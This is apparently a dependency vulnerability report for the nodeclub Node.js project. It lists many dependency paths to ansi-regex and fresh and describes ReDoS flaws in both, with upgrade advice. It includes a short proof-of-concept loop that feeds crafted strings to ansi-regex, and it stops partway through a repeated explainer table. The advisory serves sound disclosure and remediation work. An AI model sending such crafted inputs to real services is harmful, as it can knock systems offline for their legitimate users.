Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-core@6.26.3 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-block-scoping@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-core@6.26.3 › babel-helpers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-block-scoping@6.26.0 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-computed-properties@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-systemjs@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-function-name@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-object-super@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-helper-call-delegate@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-core@6.26.3 › babel-helpers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-block-scoping@6.26.0 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-computed-properties@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-systemjs@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-function-name@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-object-super@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-helper-call-delegate@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-function-name@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-object-super@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-define-map@6.26.0 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-function-name@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-object-super@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-define-map@6.26.0 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › babel-helpers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-define-map@6.26.0 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › babel-helpers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-define-map@6.26.0 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
Overview
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to the sub-patterns [[\\]()#;?]*
and (?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*
.
PoC
import ansiRegex from 'ansi-regex';
for(var i = 1; i <= 50000; i++) {
var time = Date.now();
var attack_str = "\u001B["+";".repeat(i*10000);
ansiRegex().test(attack_str)
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade ansi-regex
to version 3.0.1, 4.1.1, 5.0.1, 6.0.1 or higher.
References
high severity
- Vulnerable module: fresh
- Introduced through: express@4.15.2
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › express@4.15.2 › fresh@0.5.0Remediation: Upgrade to express@4.15.5.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › express@4.15.2 › send@0.15.1 › fresh@0.5.0Remediation: Upgrade to express@4.15.5.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › express@4.15.2 › serve-static@1.12.1 › send@0.15.1 › fresh@0.5.0Remediation: Upgrade to express@4.15.5.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › express@4.15.2 › fresh@0.5.0Remediation: Upgrade to express@4.15.5.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › express@4.15.2 › send@0.15.1 › fresh@0.5.0Remediation: Upgrade to express@4.15.5.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › express@4.15.2 › serve-static@1.12.1 › send@0.15.1 › fresh@0.5.0Remediation: Upgrade to express@4.15.5.
Overview
fresh
is HTTP response freshness testing.
Affected versions of this package are vulnerable to Regular expression Denial of Service (ReDoS) attacks. A Regular Expression (/ *, */
) was used for parsing HTTP headers and take about 2 seconds matching time for 50k characters.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
